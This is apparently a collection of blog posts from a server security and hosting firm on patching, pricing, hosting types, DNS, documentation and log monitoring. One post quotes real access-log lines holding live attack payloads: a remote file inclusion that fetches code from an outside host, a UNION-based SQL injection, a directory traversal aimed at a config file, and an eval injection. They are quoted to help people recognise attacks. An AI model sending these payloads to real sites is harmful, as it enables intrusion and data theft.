After our vendors released OS patches we patched all servers immediately after. This includes all clients on our bi monthly patching service.

What is glibc?

The glibc library is a core part of the Linux operating system based on the standard C library. This is a critical library and without it Linux will not function.

If you would like to learn about the details of this vulnerability please visit https://community.qualys.com/blogs

One may ask what does a SoftLayer Certified Partner do?

While SoftLayer has a variety of Certified Partners, Dynamic Net, Inc. is a SoftLayer Certified Partner that specializes in server security and server administration.

Server security includes, but is not limited to hacker clean up, server hardening (securing a server against hackers), security audits, server migrations, disk clean up (i.e. /var partition full), mysql optimization, apache optimization, php optimization, trouble shooting high server cpu utilization, trouble shooting high server load, and much more.

Our U.S.-based, level 3, high skilled skilled staff work with cpanel, Parallels H-Sphere, and Parallels Plesk as well as Linux-based servers not running an automation system.

We do work on a contract basis with a deposit prior to any work being started; and once a client is under contract, can often perform new work on just a phone call or an email.

Most of our customers are small businesses that fall under the radar of what a government calls a small business (i.e. one to ten employees, often far less than a million in annual sales) where money is tight.

While we are far from cheap for our rates, we do bill fairly and can often finish tasks with higher quality and speed than a less skilled party who charges a lot less.

If you have servers with SoftLayer and need security and server administration services, please contact us to go over your needs.

We enjoy working on new projects and with customers building long term relationships.

The next time I get a phone call to go over hacker clean up, server hardening, server administration where the prospective customer is more concerned over the $100.00 per hour rate than the problem costing them customers and potentially their business, I hope remember to share with them this article.

Imagine reading Service Suspension – Ongoing unanswered abuse complaints thinking to yourself, the person is in a jamb…. I hope they get someone who can really help them (maybe we could, not sure), then later on reading the person who initiated the post also runs a “All you can Eat” (i.e. unlimited support tickets, unlimited labor time) server administration business where they advertise a long list of what they can do for you for just $15.00 per month. I guess, they are so packed with work they could not solve their own problems.

Imagine, for just $15.00 per month you “24/7/365 USA-Based Technical Support” plus “24/7/365 Server Monitoring (5 Minute Intervals)” of your servers plus “Guaranteed 15 Minute Response On Monitoring Alerts” and so much more… sounds like a great deal? Right?

Now, I’m sure if you did a study of people who have heard and even believe in the quote, “you get what you pay for,” or variations of it, the percentage would be high.

Yet, how many actually do their homework to determine if something is really to good to be true?

For example, would you know right away that $15.00 per month for 24×7 coverage 365 days per year with a guaranteed response time of 15-minutes and unlimited administrator work (i.e. unlimited hours of work per month) was a deal too good to be true?

What if they removed the word, “unlimited,” and only included one hour per month? Would it then be more realistic?

In order to answer that question, what’s the going hourly rate for a server administrator? For a security administrator?

In the United States, for a server administrator, the going hourly rate ranges from $30.00 per hour to $52.00 per hour; for security administrators, the hourly rate ranges from $38.00 per hour to $56.00 per hour. In both cases, that doesn’t include benefits.

If a company is saying you get just even one hour for $15.00 when the going rate for an experienced party is $30.00 to $38.00 at a minimum….. get the picture?

You might get marketing speak that the employees multi-task and can work on many tasks at the same time… but isn’t that like someone who worked 2,000 real hours putting down 6,000 billable hours?

What are your thoughts on this subject? Did you purchase time thinking the rate was good or even average only to find out you were taken in by a “too good to be true” event? Let us know your thoughts below.

That’s right, everyone is a potential target — not just the big names, not just the rich companies, etc.

Now, web-based hack attempts come in many forms ranging from brute force to SQL injections.

Here’s a list of the common types including links to their definitions:

• Brute Force Attack
• Cross Site Scripting Attack
• Directory Traversal Attack
• Local file inclusion
• Remote file inclusion
• SQL Injection attack

I would like to share with you what each of the above types looks like from a log file or security report perspective.

The following comes from our proactive security monitoring service as well the reports we receive from our global security service.

I’m going to start off with the most common type we see which is remote file inclusion:

184.107.145.18 - - [06/Sep/2012:01:13:27 -0400] "GET /packages//wp-content/themes/metamorphosis/functions/thumb.php?src=http://www.blogger.com.moulinsaeau-41.org/cache.php HTTP/1.1" 404 3612 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2)

The above is timthumb attack where the attacker believes the Metamorphosis theme for WordPress if vulnerable; and they are trying to include the code from http://www.blogger.com.moulinsaeau-41.org/cache.php through the potential vulnerability.

The next type is an SQL injection attack:

84.235.73.226 - - [09/Sep/2012:01:16:03 +0100] "GET /merchandise.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20distinct%20concat(0x7e,0x27,Hex(cast(table_name%20as%20char)),0x27,0x7e)%20FROM%20information_schema.tables%20Where%20table_schema=0x6A6F686E73746F6E5F6965%20limit%200,1),2,3,4,5-- HTTP/1.1" 500 3506 "-" "-" UEvfw1Qz7pgAAGfUdE0 "-"

The next is a directory traversal attack:

195.157.13.221 - - [05/Sep/2012:21:28:20 +0100] "GET /vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00 HTTP/1.1" 500 3506 "-" "-" UEe15FQz7pAAABD2KuM "-"

What follows is an example of a local file inclusion:

190.90.209.251 - - [05/Sep/2012:18:13:46 +0100] "GET /phpMyAdmin//config/config.inc.php?eval=echo%20md5(123); HTTP/1.1" 500 3506 "-" "-" UEeISlWFNc8AABl2Nvw "-"

Below are two examples of brute force — one for SSH, the other for email:

sshd[21192]: Invalid user deploy from 64.185.229.239
vpopmail[7134]: vchkpw-pop3: vpopmail user not found webmaster@:88.43.116.246

Do you review your hosting log files on a regular basis to see what attacks are getting through or being blocked?

Is your provider doing this for you?

Please let us know your questions and thoughts in the comments below.

If you asked me from September 2012 forward, the answer would change dramatically with WordPress Brute Force Attacks now exceeding 50% of all attacks being reported.

If you review your or your hosting provider reviews your web site’s access logs on a regular basis, you can tell if there are Brute Force attacks being attempted on your WordPress site by seeing multiple requests to access the file wp-login.php from the same IP address over and over again. Sometimes it might be a single request every x period of time; other times it might be scores of requests from the same IP address. By the way, are you or your provider regularly checking your web site access logs for abuse?

How can you protect yourself against WordPress Brute Force attacks?

1. Use strong passwords that are at least 12 wide which are unique to the user id and the application / device (you never re-use the same password for anything).
2. Change your password every 90 days; and never re-use the same password from the past. Alternate the width of the password each time, never going less than 12 wide.
3. Make sure your WordPress was installed in a secure manner. If your WordPress was installed by a hosting automation system rather than manually, the installation is insecure. Use the WordPress Hardening Codex to go through and harden your WordPress installation or ask your designer or hosting provider to do it for you.
4. Go through the excellent check lists and articles at the WordPress Security Checklist site.
5. If you can take advantage of limiting access to wp-config.php by IP address, then do so.
6. Consider using plugins like More Security Login, Login Security Solution, and Limit Login Attempts.
7. Consider using a hosting provider like our company that does review the logs for you, has intrusion systems in place to catch and stop most break in attempts, who does free daily backups and free restores who will work with you to keep your site secure.

Since nothing is hacker proof, should you find your WordPress site hacked, see our Site Security page for what we recommend for you to do (if you host with us, we do the clean up 100% in-house).

Do you have your own suggestions for how to protect against WordPress Brute Force Attacks? Let us know in the comment area below.

I also hear the variations of the above that often come in the form of, “my _______ told me I needed a dedicated server; what do you think?”

Let me share with you some thoughts and guidelines which will hopefully help you, if you are in the position of asking this question for your organization.

Oh, before I forget, let’s do some simple house keeping first.

1. Shared hosting is where one to many sites from different customers are hosted in the same environment (which in today’s age, could be in the cloud, one or more dedicated servers, or even one or more virtual machines). This environment is very similar to an apartment complex or condo where a number of resources are shared among the consumers.
2. VPS or virtual private server is where a slice of a cloud or dedicated server is provisioned for use by one customer.
3. Dedicated is where one to many physical servers are provisioned for use by one customer.
4. Cloud is where customers can provision off the exact resources they need within the scope of the provider; and modify what they need on demand (or close enough).

While stability in the cloud continues to improve, most of this article is going to be dedicated to the 1st three of the above as most of our customer base are businesses where stability and reliability matter more than being on the cutting edge of technology.

Let me walk you through some what if statements that generally lead to the type of hosting you will need.

What if I know exactly what resources — RAM, hard drive space, CPU power, bandwidth, etc. — I need, and I love to micromanage (I’ll be sure to check x times per y period if I need to add or reduce specific resources)? Well, then your best bet would be Cloud hosting where you decide what you need, pay for only what you use, and you have the ability to spend your time micromanaging the solution.

What if I know the specific server (i.e. web server, email server, database server, etc. — which is very different from end user applications such as WordPress, Joomla, or Drupal) software I want to run, and I want to have version control of the server software? Then you are looking at Cloud, Dedicated, or VPS.

What if I want to manage my own hosting environment? Then you are looking at Cloud, Dedicated, or VPS.

Ok, I’m a developer (or my developer shared) and I’m ok with shared hosting, but I know in advance my custom (often site-based) application(s) will require 30 or more simultaneous mySQL connections, at least 256 MB of dedicated RAM, and 50+ simultaneous Apache clients per second. What do I need? Chances are high you are looking at Cloud, Dedicated, or VPS. The more the RAM, mysql connections, and processes (overall, not just Apache), the higher the probability you would need Cloud or Dedicated.

What if I have a brand new site? Then shared hosting will probably fit you for a period of time.

What if I will be running stock site-based software such as WordPress, Drupal, and Joomla? Then shared hosting will most likely fit you.

What are the pros and cons of each type of hosting?

Cloud, Dedicated, and VPS — unless specifically provided as a managed service (and then you need to ask what is being managed?) — puts you in control of the hosting environment. You and your team are the security administrator, the server administrator, and the general house keeper.

The pro for Cloud, Dedicated, and VPS is sharing is limited (for Cloud and VPS there is still sharing of the physical hardware involved to a degree) to non exist (dedicated, it is all yours). You often get to run the operating system and version of your choice, the web server and version of your choice, the database server and version of your choice, and so on.

Shared hosting often comes with management; and if you are with solid company between a hosting automation system and their support, your hands are held through the years.

The con for shared hosting is that if you have special needs for the server-based software, you are at the mercy of whether the provider can meet those needs without impacting their other customers or not. In the latter case, you often have the choice to upgrade to a VPS, Dedicated, or Cloud; and most providers who offer multiple types of hosting will provide free migrations from one of their platforms to another (just be sure to ask rather than assume).

What about you?

What has your experience been in terms of finding out the type of hosting you need?

What type of hosting are you using now? Why did you pick that type of hosting?

Please use the comments to let us know.

Thank you.

The caveat we’ve experienced over the years is that when you receive an LSM alert that might involve malicious malware or hacker activity on the server running LSM, you sometimes have milliseconds to log onto the server to hopefully catch the application opening sockets red handed.

I often agree necessity is the mother of invention, and I would like to share what we’ve done to extend the Linux Socket Monitor (LSM) to provide running process information, not just the netstat lines.

The extension requires modifying three files in /usr/local/lsm – I do suggest you backup all three files:

• /usr/local/lsm/conf.lsm
• /usr/local/lsm/lsm
• /usr/local/lsm/status.lsm

For /usr/local/lsm/conf.lsm we are going to be adding four (4) lines:

PORTS="$INSPATH/dat/ports.list"
PIDS="$INSPATH/dat/pids.list"
DIFF_NET_FILE="$INSPATH/dat/diff_net.list"
PID_PROC_INFO="$INSPATH/dat/pid_proc.info"

For /usr/local/lsm/status.lsm the following needs to be added after the code

cat <$DIFF_NET
EOF

cat <

Finally, in /usr/local/lsm/lsm add the following after the following two lines:

echo "changes found in internet server sockets"

ALERT="true"

tmpf $PIDS
tmpf $PORTS
tmpf $DIFF_NET_FILE
tmpf $PID_PROC_INFO

echo $DIFF_NET > $DIFF_NET_FILE

grep -Po ">.*?\:(\d+)" $DIFF_NET_FILE  |awk -F":" '{print $2}' > $PORTS
for port in `cat $PORTS`; do
         netstat -anp | grep :$port | awk  '{print $7}' | awk -F\/ '{print $1}' >> $PIDS
done

for pid in `cat $PIDS`; do
    echo "========= START =========" >> $PID_PROC_INFO
    echo "lsof -p $pid"  >> $PID_PROC_INFO
    lsof -p $pid >> $PID_PROC_INFO
    echo "Information from /proc/$pid" >> $PID_PROC_INFO
    cat /proc/$pid/cmdline >> $PID_PROC_INFO
    cat /proc/$pid/environ >> $PID_PROC_INFO
    ls /proc/$pid/exe >> $PID_PROC_INFO
    cat /proc/$pid/status >> $PID_PROC_INFO
    ls -lab /proc/$pid/fd >> $PID_PROC_INFO
    echo "--------- END ---------" >> $PID_PROC_INFO
done

Special thanks to pdreissen in the Parallels H-Sphere forum for assistance with the grep and awk command to parse $DIFF_NET ports.

If this was your server, and you are the security administrator, what other information would you add?

Share your thoughts in the comments below.

Even though it is more and more common for all of us to use a GPS in our car or even hiking, we often forget that when we send an email, DNS is the GPS system that determines where the email goes to be delivered; and, that when we browse a web site (directly or via a search engine), DNS is the GPS system that tells your ISP where to find the physical server(s) involved in serving the site.

Why does this matter?

Well, if you’ve ever used a GPS device that took you to the wrong destination or otherwise could not find the destination from your location, then you have a frame of reference for what I’m about to write.

DNS, like GPS Systems, can be broken or otherwise faulty. Just like a GPS device, it might work great most of the time, but then sporadic at other times.

Before I write much further, some housekeeping:

When a person registers a domain name, part of the domain name registration process is to list one to several DNS servers.

Did you notice the word, “servers” above? DNS is handled by servers; and the DNS hosting provider of those servers might be the company with whom the party registered the domain name, or it could be their web hosting provider, or it could be yet another provider.

While more than one DNS server can be listed, one of the common myths on the Internet is that the first DNS server listed is “the primary,” the second one listed is “the secondary,” and so on giving the extremely false impression that “the primary” DNS sever is always used unless it fails, then the secondary will be used.

Whenever you browse a web site, send an email, behind the scenes there’s a math formula going on as to which of the DNS services listed for a domain name will be used. Then if the one picked (and it might be the secondary or tertiary) fails, after x amount of time, it will try another one (not necessarily in order).

If you have a bad DNS provider, then it doesn’t matter how wonderful your hosting provider is at serving your site or your email provider at sending and receiving email… visitors will not be able to get to the site, email will be delayed or bounce; and if the DNS provider did not secure their servers, then traffic that should be going to your site may be redirected to malicious sites.

Now, how do you know if the DNS servers of a given domain name (the latter part of the @ in an email address) are working and secure?

The following is partial list of sites provide free DNS Reports:

• http://intodns.com/
• http://www.dnssniffer.com/
• http://www.checkdns.net/quickcheckdomainf.aspx
• http://thednsreport.com/
• http://www.dnscolos.com/free-dns-report.html

Common errors you may see on a DNS report are as follows:

• The MX (mail exchange) records (which are used to determine where to send incoming email) do not have a reverse DNS entry.
• The DNS server allows for recursive queries which means the DNS server is insecure.
• One or more DNS servers did not respond; this probably means the server or service is down.
• One or more DNS servers have mismatched entries; this means not all DNS severs have the same information for the domain name.
• One or more DNS servers are lame; typically this means the lame servers know nothing of the domain name in question.
• There’s a mismatch between the parent (domain name registrar) and the name servers as far as what name servers are listed for the domain name at the DNS server level.

Let’s go over the impact of the most common DNS errors:

1. All MX records (incoming email) and mail server records (outgoing and potentially incoming email) need to have a reverse DNS entry; reverse DNS is where you can see that 174.36.196.4 points back to dynamicnet.net just as dynamicnet.net points to 174.36.196.4. A failure to have a reverse DNS entry for any record dealing with email means email rejection. If you don’t want your email treated like spam 100% of the time, make sure there is a reverse DNS entry set up for all mail DNS records.
2. If the DNS servers for a domain name are insecure, then that means traffic can be redirected. If this is your site, that means email that should go to you might be hijacked away to another party; visitors to your web site might unknowingly be hijacked to other destinations.
3. If a DNS server is down, and that is the server picked for queries… then you may see email delays, visitors who give up waiting (it does take time for the fail over to another working DNS server to take place), etc.
4. Lame servers can be worse than down DNS servers…. answering they don’t know anything about the domain.
5. Mismatch between DNS servers can be extremely common as this does happen when a (hopefully authorized) party makes changes to the DNS entries for a domain name; but should not exist past for longer than 60 to 120 minutes. If only one name server has the most up to date information, then when the other name servers are queried, over time you see extremely sporadic results.

There’s a lot more about DNS that what I’ve written above, including, but not limited to discussing local vs. public DNS. The main take away’s I hope you leave with after reading this article is that you know what is DNS on the layperson level; and that you understand that whenever a domain name is involved (email, web site, mobile, etc.), you also realize there is a DNS hosting provider hopefully taking care of the DNS services for the domain name.

Please feel free to comment below if you have questions about DNS or want to share your own experiences in trouble shooting DNS issues.

Thank you.

I’m hoping to encourage you to review the documentation standards you have set forth for your small business; and potentially to do an in-house audit to ensure critical areas are covered.

In late August 2012, we received a call from the CEO of a small business whose web development person left their employment. They found out about our server administration services from SoftLayer as we are a SoftLayer certified partner.

They needed to update their web site for which they did not have the FTP login credentials; and they needed to generate a CSR (Certificate signing request) in order to renew the secure certificate for their web site so that https would continue to work.

Together, we hoped that given the server login credentials (which they did have on hand) that we could locate the FTP user, reset the FTP user password, and test FTP access with that information; and then use the server-based tools to generate the CSR for the secure certificate, and install it when they received it from the digital ID provider.

To keep the story short without going into the server administration details, the information they had on file was for a Citrix XenServer which was running multiple virtual machines. The web site for which they needed the FTP reset and a CSR generated was on one of the virtual machines.

There was no documentation as to which virtual machine other than a public IP address of the web site.

The non virtual equivalent is that you are given the keys to a safe. You open the safe and find several other safes within; and while you might be able to guess which safe is the right one within the safe, you don’t have the means to open it.

SoftLayer, whose extremely well automated portal, provided one of several means available to document the server environment; but notes were not put into the notes area for which private IP address belonged to which virtual machine which may also have helped.

While we were able to narrow down which virtual machine (aka safe) was most likely the correct one, ssh (remote access) appeared to be filtered by IP address… and you needed to access the virtual machine in order to tell it which IP addresses to allow.

The bottom line for this small business is potentially rebuilding everything from the ground up for costs in the double digit thousands of dollars (if not more).

• Employee handbook – ensuring it covers documentation expectations and requirements.
• Web site(s) – login credentials for every application, control panel, FTP, email, statistics / analytics along with daily, weekly, biweekly, monthly, etc. processes and procedures along with application names, versions, etc.
• Server(s) – specifications, login credentials, public IP, private IP. If there are virtual machines, the same — do you know where your servers are located? Names and contact information of responsible parties having what responsibilities?
• Change log – what installations, deletions, changes have been taking place — date, time, where, what, who, why, how, notes, etc?
• Contact information – name, company, mailing address, physical address, phone numbers, email, and when or why would they be contacted.
• Other? — What’s necessary for someone to take over your responsibilities if you are the last one standing, and need to pass on the baton?

As you do the audit, ask yourself (and hopefully check your thought process with trusted other parties) — if the responsible person for jobs a, b, and c were inaccessible tomorrow, would someone be able to take over quickly just based on the documentation that we have in place?

If the answer is “no,” then a level of priority should be given to making sure there is enough documentation (that is reviewed and tested for quality assurance) so the processes, procedures, tasks, and related responsibilities can be easily picked up by a new party.

Lastly, who knows where the documentation is located, and how to use the documentation?

Have you run into any nightmares in your business that proper documentation beforehand could have prevented or made less costly? Please share in the comments below.

Yet if you are the steward of any size business, fiduciary should be an active word in how you manage your business.

How does this relate to trust, security, and your business on the Internet? Let’s see.

In the recent past I’ve been involved in conversations with stewards of small businesses where the conversation went as follows.

Case 1:

Small business owner poses a problem in WordPress on their site in the LinkedIn WordPress Group.

One of the WordPress developers sends the small business owner a private message stating they would be happy to help fix the problem.

Small business owner sends over WordPress login credentials for his site; and shares on LinkedIn what’s going on.

I share with the owner they should change their WordPress login credentials once things are fixed.

Small business owner replies, “I trust ________; they’ve helped me in the past.”

What do you think is the Fiduciary responsibility of the owner?

Case 2:

Small business owner posts on Google+ concerning a tool that was shared with him by a “trusted” friend that checks if the LinkedIn password has been cracked.

I share the best practice is to avoid such tools altogether, to go directly to LinkedIn’s site and change the password directly with Linked In.

There are many reasons from the security of the site hosting the tool, who has access to the tool’s log files, the server’s log files, and what data the site is collecting from cookies and data entered.

The owner replied they trust the person who told them about the tool; and no one should ever question that person or the trust relationship.

What do you think is the Fiduciary responsibility of the owner?

I’ve worked for small to medium businesses over the past 30 some years.

I still remember working for my first medium business — American Equipment Leasing — when I was shocked to see the exit process of my manager (that was my first experience with best practice for when an employee is no longer an employee).

At the time I thought it was harsh that my boss was escorted to his desk, closely monitored while packing his personal belongings, escorted out, and in the mean time the information technology (IT) department given orders to make sure all access and clearance points were terminated.

I used to frown at the phrase, “it’s not personal, it’s business.” I would think to myself, it is personal? And in some cases, how personal can it get?

Yet, the bottom line is best practice doesn’t take into account feelings. Best practice takes into account doing what is right period.

It is not about trusting someone or not trusting someone. It is about taking 100% fiduciary responsibility for the task at hand.